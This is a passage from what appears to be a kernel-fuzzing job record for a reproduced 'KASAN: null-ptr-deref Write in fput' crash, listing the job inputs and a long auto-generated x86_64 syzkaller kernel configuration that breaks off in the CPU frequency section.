ID Workflow Result Correct Bug Created Started Finished Revision
0592a959 repro-c Reproduced: ✅ ❓ KASAN: null-ptr-deref Write in fput 2026/09/04 19:55 2026/09/04 19:56 2026/09/04 21:01 7ce8fcf4
Agent: prod-syz-agent-5
External Bug ID: ---

Inputs:
BaseBranch master
BaseCommit RC
BaseRepository git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
BugTitle KASAN: null-ptr-deref Write in fput
CrashLogID 5802630896418816
CrashReportID 5975380655079424
KernelCommit 848acc8ffe1b7cd5f1bf427b93069becfebc2c9d
KernelConfig
Show (282200 bytes)
#
# Automatically generated file; DO NOT EDIT.
# Linux/x86_64 syzkaller Kernel Configuration
#
CONFIG_CC_VERSION_TEXT="gcc (Debian 14.2.0-19) 14.2.0"
CONFIG_CC_IS_GCC=y
CONFIG_GCC_VERSION=140200
CONFIG_CLANG_VERSION=0
CONFIG_AS_IS_GNU=y
CONFIG_AS_VERSION=24400
CONFIG_LD_IS_BFD=y
CONFIG_LD_VERSION=24400
CONFIG_LLD_VERSION=0
CONFIG_RUSTC_VERSION=109600
CONFIG_RUST_IS_AVAILABLE=y
CONFIG_RUSTC_LLVM_VERSION=220102
CONFIG_RUSTC_LLVM_MAJOR_VERSION=22
CONFIG_CC_CAN_LINK=y
CONFIG_CC_HAS_ASM_GOTO_OUTPUT=y
CONFIG_CC_HAS_ASM_GOTO_TIED_OUTPUT=y
CONFIG_TOOLS_SUPPORT_RELR=y
CONFIG_CC_HAS_ASM_INLINE=y
CONFIG_CC_HAS_ASSUME=y
CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y
CONFIG_LD_CAN_USE_KEEP_IN_OVERLAY=y
CONFIG_RUSTC_HAS_SPAN_FILE=y
CONFIG_RUSTC_HAS_UNNECESSARY_TRANSMUTES=y
CONFIG_RUSTC_HAS_FILE_WITH_NUL=y
CONFIG_RUSTC_HAS_FILE_AS_C_STR=y
CONFIG_PAHOLE_VERSION=130
CONFIG_CONSTRUCTORS=y
CONFIG_IRQ_WORK=y
CONFIG_BUILDTIME_TABLE_SORT=y
CONFIG_THREAD_INFO_IN_TASK=y

#
# General setup
#
CONFIG_INIT_ENV_ARG_LIMIT=32
# CONFIG_COMPILE_TEST is not set
# CONFIG_WERROR is not set
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_BUILD_SALT=""
CONFIG_HAVE_KERNEL_GZIP=y
CONFIG_HAVE_KERNEL_BZIP2=y
CONFIG_HAVE_KERNEL_LZMA=y
CONFIG_HAVE_KERNEL_XZ=y
CONFIG_HAVE_KERNEL_LZO=y
CONFIG_HAVE_KERNEL_LZ4=y
CONFIG_HAVE_KERNEL_ZSTD=y
CONFIG_KERNEL_GZIP=y
# CONFIG_KERNEL_BZIP2 is not set
# CONFIG_KERNEL_LZMA is not set
# CONFIG_KERNEL_XZ is not set
# CONFIG_KERNEL_LZO is not set
# CONFIG_KERNEL_LZ4 is not set
# CONFIG_KERNEL_ZSTD is not set
CONFIG_DEFAULT_INIT=""
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_SYSVIPC_COMPAT=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_WATCH_QUEUE=y
CONFIG_CROSS_MEMORY_ATTACH=y
CONFIG_AUDIT=y
CONFIG_HAVE_ARCH_AUDITSYSCALL=y
CONFIG_AUDITSYSCALL=y

#
# IRQ subsystem
#
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_GENERIC_IRQ_SHOW=y
CONFIG_GENERIC_IRQ_EFFECTIVE_AFF_MASK=y
CONFIG_GENERIC_PENDING_IRQ=y
CONFIG_GENERIC_IRQ_MIGRATION=y
CONFIG_HARDIRQS_SW_RESEND=y
CONFIG_IRQ_DOMAIN=y
CONFIG_IRQ_DOMAIN_HIERARCHY=y
CONFIG_GENERIC_MSI_IRQ=y
CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y
CONFIG_GENERIC_IRQ_RESERVATION_MODE=y
CONFIG_IRQ_FORCED_THREADING=y
CONFIG_SPARSE_IRQ=y
# CONFIG_GENERIC_IRQ_DEBUGFS is not set
# end of IRQ subsystem

CONFIG_CLOCKSOURCE_WATCHDOG=y
CONFIG_ARCH_CLOCKSOURCE_INIT=y
CONFIG_ARCH_WANTS_CLOCKSOURCE_READ_INLINE=y
CONFIG_GENERIC_CLOCKEVENTS=y
CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y
CONFIG_GENERIC_CLOCKEVENTS_BROADCAST_IDLE=y
CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y
CONFIG_GENERIC_CLOCKEVENTS_COUPLED=y
CONFIG_GENERIC_CLOCKEVENTS_COUPLED_INLINE=y
CONFIG_GENERIC_CMOS_UPDATE=y
CONFIG_HRTIMER_REARM_DEFERRED=y
CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y
CONFIG_CONTEXT_TRACKING=y
CONFIG_CONTEXT_TRACKING_IDLE=y

#
# Timers subsystem
#
CONFIG_TICK_ONESHOT=y
CONFIG_NO_HZ_COMMON=y
# CONFIG_HZ_PERIODIC is not set
CONFIG_NO_HZ_IDLE=y
# CONFIG_NO_HZ_FULL is not set
CONFIG_CONTEXT_TRACKING_USER=y
# CONFIG_CONTEXT_TRACKING_USER_FORCE is not set
CONFIG_NO_HZ=y
CONFIG_HIGH_RES_TIMERS=y
CONFIG_POSIX_AUX_CLOCKS=y
# end of Timers subsystem

CONFIG_BPF=y
CONFIG_HAVE_EBPF_JIT=y
CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y

#
# BPF subsystem
#
CONFIG_BPF_SYSCALL=y
CONFIG_BPF_JIT=y
# CONFIG_BPF_JIT_ALWAYS_ON is not set
CONFIG_BPF_JIT_DEFAULT_ON=y
# CONFIG_BPF_UNPRIV_DEFAULT_OFF is not set
CONFIG_BPF_PRELOAD=y
CONFIG_BPF_PRELOAD_UMD=y
CONFIG_BPF_LSM=y
# end of BPF subsystem

CONFIG_PREEMPT_BUILD=y
CONFIG_ARCH_HAS_PREEMPT_LAZY=y
CONFIG_PREEMPT=y
# CONFIG_PREEMPT_LAZY is not set
# CONFIG_PREEMPT_RT is not set
CONFIG_PREEMPT_COUNT=y
CONFIG_HAS_SEPARATE_PREEMPT_RESCHED_BITS=y
CONFIG_PREEMPTION=y
CONFIG_PREEMPT_DYNAMIC=y
CONFIG_SCHED_CORE=y

#
# CPU/Task time and stats accounting
#
CONFIG_VIRT_CPU_ACCOUNTING=y
# CONFIG_TICK_CPU_ACCOUNTING is not set
CONFIG_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_IRQ_TIME_ACCOUNTING=y
CONFIG_HAVE_SCHED_AVG_IRQ=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_BSD_PROCESS_ACCT_V3=y
CONFIG_TASKSTATS=y
CONFIG_TASK_DELAY_ACCT=y
CONFIG_TASK_XACCT=y
CONFIG_TASK_IO_ACCOUNTING=y
CONFIG_PSI=y
# CONFIG_PSI_DEFAULT_DISABLED is not set
# end of CPU/Task time and stats accounting

CONFIG_CPU_ISOLATION=y

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
CONFIG_PREEMPT_RCU=y
# CONFIG_RCU_EXPERT is not set
CONFIG_TREE_SRCU=y
CONFIG_TASKS_RCU_GENERIC=y
CONFIG_NEED_TASKS_RCU=y
CONFIG_TASKS_RCU=y
CONFIG_TASKS_TRACE_RCU=y
CONFIG_RCU_STALL_COMMON=y
CONFIG_RCU_NEED_SEGCBLIST=y
# end of RCU Subsystem

CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
# CONFIG_IKHEADERS is not set
CONFIG_LOG_BUF_SHIFT=18
CONFIG_LOG_CPU_MAX_BUF_SHIFT=12
# CONFIG_PRINTK_INDEX is not set
CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y

#
# Scheduler features
#
# CONFIG_UCLAMP_TASK is not set
# CONFIG_SCHED_PROXY_EXEC is not set
# end of Scheduler features

CONFIG_ARCH_HAS_PTE_PROTNONE=y
CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y
CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y
CONFIG_CC_HAS_INT128=y
CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5"
CONFIG_CC_MS_EXTENSIONS="-fms-extensions"
CONFIG_GCC10_NO_ARRAY_BOUNDS=y
CONFIG_CC_NO_ARRAY_BOUNDS=y
CONFIG_GCC_NO_STRINGOP_OVERFLOW=y
CONFIG_CC_NO_STRINGOP_OVERFLOW=y
CONFIG_ARCH_SUPPORTS_INT128=y
CONFIG_NUMA_BALANCING=y
CONFIG_SCHED_CACHE=y
CONFIG_NUMA_BALANCING_DEFAULT_ENABLED=y
CONFIG_SLAB_OBJ_EXT=y
CONFIG_CGROUPS=y
CONFIG_PAGE_COUNTER=y
# CONFIG_CGROUP_FAVOR_DYNMODS is not set
CONFIG_MEMCG=y
CONFIG_MEMCG_V1=y
CONFIG_BLK_CGROUP=y
CONFIG_CGROUP_WRITEBACK=y
CONFIG_CGROUP_SCHED=y
CONFIG_GROUP_SCHED_WEIGHT=y
CONFIG_GROUP_SCHED_BANDWIDTH=y
CONFIG_FAIR_GROUP_SCHED=y
CONFIG_CFS_BANDWIDTH=y
# CONFIG_RT_GROUP_SCHED is not set
CONFIG_SCHED_MM_CID=y
CONFIG_CGROUP_PIDS=y
CONFIG_CGROUP_RDMA=y
# CONFIG_CGROUP_DMEM is not set
CONFIG_CGROUP_FREEZER=y
CONFIG_CGROUP_HUGETLB=y
CONFIG_CPUSETS=y
# CONFIG_CPUSETS_V1 is not set
CONFIG_CGROUP_DEVICE=y
CONFIG_CGROUP_CPUACCT=y
CONFIG_CGROUP_PERF=y
# CONFIG_CGROUP_BPF is not set
CONFIG_CGROUP_MISC=y
CONFIG_CGROUP_DEBUG=y
CONFIG_SOCK_CGROUP_DATA=y
CONFIG_NAMESPACES=y
CONFIG_UTS_NS=y
CONFIG_TIME_NS=y
CONFIG_TIME_NS_VDSO=y
CONFIG_IPC_NS=y
CONFIG_USER_NS=y
CONFIG_PID_NS=y
CONFIG_NET_NS=y
CONFIG_CHECKPOINT_RESTORE=y
# CONFIG_SCHED_AUTOGROUP is not set
CONFIG_RELAY=y
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
CONFIG_RD_LZO=y
CONFIG_RD_LZ4=y
CONFIG_RD_ZSTD=y
# CONFIG_BOOT_CONFIG is not set
CONFIG_ARCH_SUPPORTS_CMDLINE_FROM_BOOTCONFIG=y
CONFIG_CMDLINE_LOG_WRAP_IDEAL_LEN=1021
CONFIG_INITRAMFS_PRESERVE_MTIME=y
CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_LD_ORPHAN_WARN=y
CONFIG_LD_ORPHAN_WARN_LEVEL="warn"
CONFIG_HAVE_UID16=y
CONFIG_SYSCTL_EXCEPTION_TRACE=y
CONFIG_SYSFS_SYSCALL=y
CONFIG_HAVE_PCSPKR_PLATFORM=y
CONFIG_EXPERT=y
CONFIG_UID16=y
CONFIG_MULTIUSER=y
CONFIG_SGETMASK_SYSCALL=y
CONFIG_FHANDLE=y
CONFIG_POSIX_TIMERS=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_PCSPKR_PLATFORM=y
# CONFIG_BASE_SMALL is not set
CONFIG_FUTEX=y
CONFIG_FUTEX_PI=y
CONFIG_FUTEX_PRIVATE_HASH=y
CONFIG_FUTEX_MPOL=y
CONFIG_HAVE_FUTEX_ROBUST_UNLOCK=y
CONFIG_FUTEX_ROBUST_UNLOCK=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_IO_URING=y
CONFIG_IO_URING_MOCK_FILE=y
CONFIG_ADVISE_SYSCALLS=y
CONFIG_MEMBARRIER=y
CONFIG_KCMP=y
CONFIG_RSEQ=y
CONFIG_RSEQ_SLICE_EXTENSION=y
# CONFIG_RSEQ_STATS is not set
# CONFIG_RSEQ_DEBUG_DEFAULT_ENABLE is not set
CONFIG_CACHESTAT_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_SELFTEST is not set
CONFIG_KALLSYMS_ALL=y
CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y
CONFIG_ARCH_SUPPORTS_MSEAL_SYSTEM_MAPPINGS=y
CONFIG_HAVE_PERF_EVENTS=y
CONFIG_GUEST_PERF_EVENTS=y
CONFIG_PERF_GUEST_MEDIATED_PMU=y

#
# Kernel Performance Events And Counters
#
CONFIG_PERF_EVENTS=y
# CONFIG_DEBUG_PERF_USE_VMALLOC is not set
# end of Kernel Performance Events And Counters

CONFIG_SYSTEM_DATA_VERIFICATION=y
CONFIG_PROFILING=y
CONFIG_TRACEPOINTS=y

#
# Kexec and crash features
#
CONFIG_CRASH_RESERVE=y
CONFIG_VMCORE_INFO=y
CONFIG_KEXEC_CORE=y
CONFIG_KEXEC=y
# CONFIG_KEXEC_FILE is not set
# CONFIG_KEXEC_JUMP is not set
CONFIG_CRASH_DUMP=y
CONFIG_CRASH_HOTPLUG=y
CONFIG_CRASH_MAX_MEMORY_RANGES=8192
# end of Kexec and crash features

#
# Live Update and Kexec HandOver
#
# CONFIG_KEXEC_HANDOVER is not set
# end of Live Update and Kexec HandOver
# end of General setup

CONFIG_64BIT=y
CONFIG_X86_64=y
CONFIG_X86=y
CONFIG_INSTRUCTION_DECODER=y
CONFIG_OUTPUT_FORMAT="elf64-x86-64"
CONFIG_LOCKDEP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_MMU=y
CONFIG_ARCH_MMAP_RND_BITS_MIN=28
CONFIG_ARCH_MMAP_RND_BITS_MAX=32
CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MIN=8
CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MAX=16
CONFIG_GENERIC_ISA_DMA=y
CONFIG_GENERIC_CSUM=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y
CONFIG_ARCH_MAY_HAVE_PC_FDC=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_ARCH_HAS_CPU_RELAX=y
CONFIG_ARCH_HIBERNATION_POSSIBLE=y
CONFIG_ARCH_SUSPEND_POSSIBLE=y
CONFIG_AUDIT_ARCH=y
CONFIG_KASAN_SHADOW_OFFSET=0xdffffc0000000000
CONFIG_HAVE_INTEL_TXT=y
CONFIG_ARCH_SUPPORTS_UPROBES=y
CONFIG_FIX_EARLYCON_MEM=y
CONFIG_PGTABLE_LEVELS=5

#
# Processor type and features
#
CONFIG_SMP=y
CONFIG_X86_X2APIC=y
# CONFIG_X86_POSTED_MSI is not set
CONFIG_X86_MPPARSE=y
# CONFIG_X86_CPU_RESCTRL is not set
CONFIG_X86_FRED=y
CONFIG_X86_EXTENDED_PLATFORM=y
# CONFIG_X86_NUMACHIP is not set
# CONFIG_X86_VSMP is not set
# CONFIG_X86_INTEL_MID is not set
# CONFIG_X86_GOLDFISH is not set
# CONFIG_X86_INTEL_LPSS is not set
# CONFIG_X86_AMD_PLATFORM_DEVICE is not set
CONFIG_IOSF_MBI=y
# CONFIG_IOSF_MBI_DEBUG is not set
CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y
CONFIG_SCHED_OMIT_FRAME_POINTER=y
CONFIG_HYPERVISOR_GUEST=y
CONFIG_PARAVIRT=y
CONFIG_PARAVIRT_SPINLOCKS=y
CONFIG_X86_HV_CALLBACK_VECTOR=y
# CONFIG_XEN is not set
CONFIG_KVM_GUEST=y
CONFIG_ARCH_CPUIDLE_HALTPOLL=y
CONFIG_PVH=y
# CONFIG_PARAVIRT_TIME_ACCOUNTING is not set
CONFIG_PARAVIRT_CLOCK=y
# CONFIG_JAILHOUSE_GUEST is not set
# CONFIG_ACRN_GUEST is not set
# CONFIG_BHYVE_GUEST is not set
CONFIG_CC_HAS_MARCH_NATIVE=y
# CONFIG_X86_NATIVE_CPU is not set
CONFIG_X86_INTERNODE_CACHE_SHIFT=6
CONFIG_X86_L1_CACHE_SHIFT=6
CONFIG_X86_TSC=y
CONFIG_X86_HAVE_PAE=y
CONFIG_X86_CX8=y
CONFIG_X86_CMOV=y
CONFIG_X86_MINIMUM_CPU_FAMILY=64
CONFIG_X86_DEBUGCTLMSR=y
CONFIG_IA32_FEAT_CTL=y
CONFIG_X86_VMX_FEATURE_NAMES=y
CONFIG_PROCESSOR_SELECT=y
CONFIG_CPU_SUP_INTEL=y
CONFIG_CPU_SUP_AMD=y
# CONFIG_CPU_SUP_HYGON is not set
# CONFIG_CPU_SUP_CENTAUR is not set
# CONFIG_CPU_SUP_ZHAOXIN is not set
CONFIG_BROADCAST_TLB_FLUSH=y
CONFIG_HPET_TIMER=y
CONFIG_HPET_EMULATE_RTC=y
CONFIG_DMI=y
# CONFIG_GART_IOMMU is not set
CONFIG_BOOT_VESA_SUPPORT=y
# CONFIG_MAXSMP is not set
CONFIG_NR_CPUS_RANGE_BEGIN=2
CONFIG_NR_CPUS_RANGE_END=512
CONFIG_NR_CPUS_DEFAULT=64
CONFIG_NR_CPUS=8
CONFIG_SCHED_MC_PRIO=y
CONFIG_X86_LOCAL_APIC=y
CONFIG_ACPI_MADT_WAKEUP=y
CONFIG_X86_IO_APIC=y
CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y
CONFIG_X86_MCE=y
# CONFIG_X86_MCELOG_LEGACY is not set
CONFIG_X86_MCE_INTEL=y
CONFIG_X86_MCE_AMD=y
CONFIG_X86_MCE_THRESHOLD=y
# CONFIG_X86_MCE_INJECT is not set

#
# Performance monitoring
#
CONFIG_PERF_EVENTS_INTEL_UNCORE=y
CONFIG_PERF_EVENTS_INTEL_RAPL=y
CONFIG_PERF_EVENTS_INTEL_CSTATE=y
# CONFIG_PERF_EVENTS_AMD_POWER is not set
CONFIG_PERF_EVENTS_AMD_UNCORE=y
# CONFIG_PERF_EVENTS_AMD_BRS is not set
# end of Performance monitoring

CONFIG_X86_16BIT=y
CONFIG_X86_ESPFIX64=y
CONFIG_X86_VSYSCALL_EMULATION=y
CONFIG_X86_IOPL_IOPERM=y
CONFIG_MICROCODE=y
# CONFIG_MICROCODE_LATE_LOADING is not set
# CONFIG_MICROCODE_DBG is not set
CONFIG_X86_MSR=y
CONFIG_X86_CPUID=y
CONFIG_X86_DIRECT_GBPAGES=y
# CONFIG_X86_CPA_STATISTICS is not set
CONFIG_NUMA=y
CONFIG_AMD_NUMA=y
CONFIG_X86_64_ACPI_NUMA=y
CONFIG_NODES_SHIFT=6
CONFIG_ARCH_SPARSEMEM_ENABLE=y
CONFIG_ARCH_SPARSEMEM_DEFAULT=y
# CONFIG_ARCH_MEMORY_PROBE is not set
CONFIG_ARCH_PROC_KCORE_TEXT=y
CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000
# CONFIG_X86_PMEM_LEGACY is not set
# CONFIG_X86_CHECK_BIOS_CORRUPTION is not set
CONFIG_MTRR=y
# CONFIG_MTRR_SANITIZER is not set
CONFIG_X86_PAT=y
CONFIG_X86_UMIP=y
CONFIG_CC_HAS_IBT=y
CONFIG_X86_CET=y
CONFIG_X86_KERNEL_IBT=y
CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS=y
CONFIG_ARCH_PKEY_BITS=4
# CONFIG_X86_INTEL_TSX_MODE_OFF is not set
CONFIG_X86_INTEL_TSX_MODE_ON=y
# CONFIG_X86_INTEL_TSX_MODE_AUTO is not set
CONFIG_X86_SGX=y
CONFIG_X86_USER_SHADOW_STACK=y
# CONFIG_INTEL_TDX_HOST is not set
# CONFIG_EFI is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
CONFIG_SCHED_HRTICK=y
CONFIG_ARCH_SUPPORTS_KEXEC=y
CONFIG_ARCH_SUPPORTS_KEXEC_FILE=y
CONFIG_ARCH_SUPPORTS_KEXEC_PURGATORY=y
CONFIG_ARCH_SUPPORTS_KEXEC_SIG=y
CONFIG_ARCH_SUPPORTS_KEXEC_SIG_FORCE=y
CONFIG_ARCH_SUPPORTS_KEXEC_BZIMAGE_VERIFY_SIG=y
CONFIG_ARCH_SUPPORTS_KEXEC_JUMP=y
CONFIG_ARCH_SUPPORTS_KEXEC_HANDOVER=y
CONFIG_ARCH_SUPPORTS_CRASH_DUMP=y
CONFIG_ARCH_DEFAULT_CRASH_DUMP=y
CONFIG_ARCH_SUPPORTS_CRASH_HOTPLUG=y
CONFIG_ARCH_HAS_GENERIC_CRASHKERNEL_RESERVATION=y
CONFIG_PHYSICAL_START=0x1000000
# CONFIG_RELOCATABLE is not set
CONFIG_PHYSICAL_ALIGN=0x200000
CONFIG_HOTPLUG_CPU=y
# CONFIG_COMPAT_VDSO is not set
CONFIG_LEGACY_VSYSCALL_XONLY=y
# CONFIG_LEGACY_VSYSCALL_NONE is not set
CONFIG_CMDLINE_BOOL=y
CONFIG_CMDLINE="earlyprintk=serial net.ifnames=0 sysctl.kernel.hung_task_all_cpu_backtrace=1 ima_policy=tcb nf-conntrack-ftp.ports=20000 nf-conntrack-tftp.ports=20000 nf-conntrack-sip.ports=20000 nf-conntrack-irc.ports=20000 nf-conntrack-sane.ports=20000 binder.debug_mask=0 rcupdate.rcu_expedited=1 rcupdate.rcu_cpu_stall_cputime=1 no_hash_pointers page_owner=on sysctl.vm.nr_hugepages=4 sysctl.vm.nr_overcommit_hugepages=4 secretmem.enable=1 sysctl.max_rcu_stall_to_panic=1 msr.allow_writes=off coredump_filter=0xffff root=/dev/sda console=ttyS0 vsyscall=native numa=fake=2 kvm-intel.nested=1 spec_store_bypass_disable=prctl nopcid vivid.n_devs=64 vivid.multiplanar=1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2 netrom.nr_ndevs=32 rose.rose_ndevs=32 smp.csd_lock_timeout=100000 watchdog_thresh=55 workqueue.watchdog_thresh=140 sysctl.net.core.netdev_unregister_timeout_secs=140 dummy_hcd.num=32 max_loop=32 nbds_max=32 comedi.comedi_num_legacy_minors=4 panic_on_warn=1"
# CONFIG_CMDLINE_OVERRIDE is not set
CONFIG_MODIFY_LDT_SYSCALL=y
# CONFIG_STRICT_SIGALTSTACK_SIZE is not set
CONFIG_HAVE_LIVEPATCH=y
CONFIG_HAVE_KLP_BUILD=y
CONFIG_X86_BUS_LOCK_DETECT=y
# end of Processor type and features

CONFIG_CC_HAS_NAMED_AS=y
CONFIG_CC_HAS_NAMED_AS_FIXED_SANITIZERS=y
CONFIG_USE_X86_SEG_SUPPORT=y
CONFIG_CC_HAS_SLS=y
CONFIG_CC_HAS_RETURN_THUNK=y
CONFIG_CC_HAS_ENTRY_PADDING=y
CONFIG_FUNCTION_PADDING_CFI=11
CONFIG_FUNCTION_PADDING_BYTES=16
CONFIG_CALL_PADDING=y
CONFIG_HAVE_CALL_THUNKS=y
CONFIG_CALL_THUNKS=y
CONFIG_CPU_MITIGATIONS=y
CONFIG_MITIGATION_PAGE_TABLE_ISOLATION=y
CONFIG_MITIGATION_RETPOLINE=y
CONFIG_MITIGATION_RETHUNK=y
CONFIG_MITIGATION_UNRET_ENTRY=y
CONFIG_MITIGATION_CALL_DEPTH_TRACKING=y
# CONFIG_CALL_THUNKS_DEBUG is not set
CONFIG_MITIGATION_IBPB_ENTRY=y
CONFIG_MITIGATION_IBRS_ENTRY=y
CONFIG_MITIGATION_SRSO=y
# CONFIG_MITIGATION_SLS is not set
CONFIG_MITIGATION_GDS=y
CONFIG_MITIGATION_RFDS=y
CONFIG_MITIGATION_SPECTRE_BHI=y
CONFIG_MITIGATION_MDS=y
CONFIG_MITIGATION_TAA=y
CONFIG_MITIGATION_MMIO_STALE_DATA=y
CONFIG_MITIGATION_L1TF=y
CONFIG_MITIGATION_RETBLEED=y
CONFIG_MITIGATION_SPECTRE_V1=y
CONFIG_MITIGATION_SPECTRE_V2=y
CONFIG_MITIGATION_SRBDS=y
CONFIG_MITIGATION_SSB=y
CONFIG_MITIGATION_ITS=y
CONFIG_MITIGATION_TSA=y
# CONFIG_MITIGATION_VMSCAPE is not set
CONFIG_ARCH_HAS_ADD_PAGES=y

#
# Power management and ACPI options
#
CONFIG_ARCH_HIBERNATION_HEADER=y
CONFIG_SUSPEND=y
CONFIG_SUSPEND_FREEZER=y
# CONFIG_SUSPEND_SKIP_SYNC is not set
CONFIG_HIBERNATE_CALLBACKS=y
CONFIG_HIBERNATION=y
CONFIG_HIBERNATION_SNAPSHOT_DEV=y
CONFIG_HIBERNATION_COMP_LZO=y
# CONFIG_HIBERNATION_COMP_LZ4 is not set
CONFIG_HIBERNATION_DEF_COMP="lzo"
CONFIG_PM_STD_PARTITION=""
CONFIG_PM_SLEEP=y
CONFIG_PM_SLEEP_SMP=y
# CONFIG_PM_AUTOSLEEP is not set
# CONFIG_PM_USERSPACE_AUTOSLEEP is not set
# CONFIG_PM_WAKELOCKS is not set
# CONFIG_PM_QOS_CPU_SYSTEM_WAKEUP is not set
CONFIG_PM=y
CONFIG_PM_DEBUG=y
# CONFIG_PM_ADVANCED_DEBUG is not set
# CONFIG_PM_TEST_SUSPEND is not set
CONFIG_PM_SLEEP_DEBUG=y
# CONFIG_DPM_WATCHDOG is not set
CONFIG_PM_TRACE=y
CONFIG_PM_TRACE_RTC=y
CONFIG_PM_CLK=y
# CONFIG_WQ_POWER_EFFICIENT_DEFAULT is not set
# CONFIG_ENERGY_MODEL is not set
CONFIG_ARCH_SUPPORTS_ACPI=y
CONFIG_ACPI=y
CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y
CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y
CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y
CONFIG_ACPI_THERMAL_LIB=y
# CONFIG_ACPI_DEBUGGER is not set
CONFIG_ACPI_SPCR_TABLE=y
# CONFIG_ACPI_FPDT is not set
CONFIG_ACPI_LPIT=y
CONFIG_ACPI_SLEEP=y
CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y
CONFIG_ACPI_EC=y
# CONFIG_ACPI_EC_DEBUGFS is not set
CONFIG_ACPI_AC=y
CONFIG_ACPI_BATTERY=y
CONFIG_ACPI_BUTTON=y
CONFIG_ACPI_VIDEO=y
CONFIG_ACPI_FAN=y
# CONFIG_ACPI_TAD is not set
CONFIG_ACPI_DOCK=y
CONFIG_ACPI_CPU_FREQ_PSS=y
CONFIG_ACPI_PROCESSOR_CSTATE=y
CONFIG_ACPI_PROCESSOR_IDLE=y
CONFIG_ACPI_CPPC_LIB=y
CONFIG_ACPI_PROCESSOR=y
CONFIG_ACPI_HOTPLUG_CPU=y
# CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set
CONFIG_ACPI_THERMAL=y
CONFIG_ACPI_PLATFORM_PROFILE=y
CONFIG_ARCH_HAS_ACPI_TABLE_UPGRADE=y
CONFIG_ACPI_TABLE_UPGRADE=y
CONFIG_ACPI_DEBUG=y
# CONFIG_ACPI_PCI_SLOT is not set
CONFIG_ACPI_CONTAINER=y
# CONFIG_ACPI_HOTPLUG_MEMORY is not set
CONFIG_ACPI_HOTPLUG_IOAPIC=y
# CONFIG_ACPI_SBS is not set
# CONFIG_ACPI_HED is not set
# CONFIG_ACPI_REDUCED_HARDWARE_ONLY is not set
CONFIG_ACPI_NHLT=y
CONFIG_ACPI_NFIT=y
# CONFIG_NFIT_SECURITY_DEBUG is not set
CONFIG_ACPI_NUMA=y
# CONFIG_ACPI_HMAT is not set
CONFIG_HAVE_ACPI_APEI=y
CONFIG_HAVE_ACPI_APEI_NMI=y
# CONFIG_ACPI_APEI is not set
# CONFIG_ACPI_DPTF is not set
# CONFIG_ACPI_EXTLOG is not set
# CONFIG_ACPI_CONFIGFS is not set
# CONFIG_ACPI_PFRUT is not set
CONFIG_ACPI_PCC=y
# CONFIG_ACPI_FFH is not set
CONFIG_ACPI_MRRM=y
CONFIG_PMIC_OPREGION=y
CONFIG_BXT_WC_PMIC_OPREGION=y
# CONFIG_CHT_WC_PMIC_OPREGION is not set
CONFIG_X86_PM_TIMER=y

#
# CPU Frequency scaling
#
CONFIG_CPU_FREQ=y
CONFIG_CPU_FREQ_GOV_ATTR_SET=y
CONFIG_CPU_FREQ_GOV_COMMON=y
# CONFIG_CPU_FREQ_STAT is not set
# CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE is not set
# CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set
CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE=y
# CONFIG_CPU_FREQ_DEFAULT_GOV_SCHEDUTIL is not set
CONFIG_CPU_FREQ_GOV_PERFORMANCE=y
# CONFIG_CPU_FREQ_GOV_POWERSAVE is not set
